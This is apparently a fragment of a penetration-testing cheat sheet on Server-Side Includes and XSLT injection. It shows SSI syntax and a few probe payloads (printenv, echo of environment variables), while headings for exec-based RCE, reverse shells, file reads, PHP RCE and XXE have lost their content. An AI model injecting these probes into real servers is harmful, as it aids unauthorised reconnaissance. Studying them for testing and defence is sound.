SSI & XSLT Injection
Server-Side Includes (SSI) Injection
SSI Syntax
<!--#directive param="value" -->SSI Payloads
Print Environment Variables
<!--#printenv -->Print Specific Variable
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="LAST_MODIFIED" -->Include File (Web Root Only)
RCE via exec
Reverse Shell
Confirm SSI Injection
XSLT Injection
Confirm XSLT Injection
Information Disclosure
Local File Read
XSLT 2.0+
PHP (if PHP functions enabled)
RCE (PHP)
XSLT External Entity (XXE)
Common XSLT Processors
Processor
Language
Notes
Last updated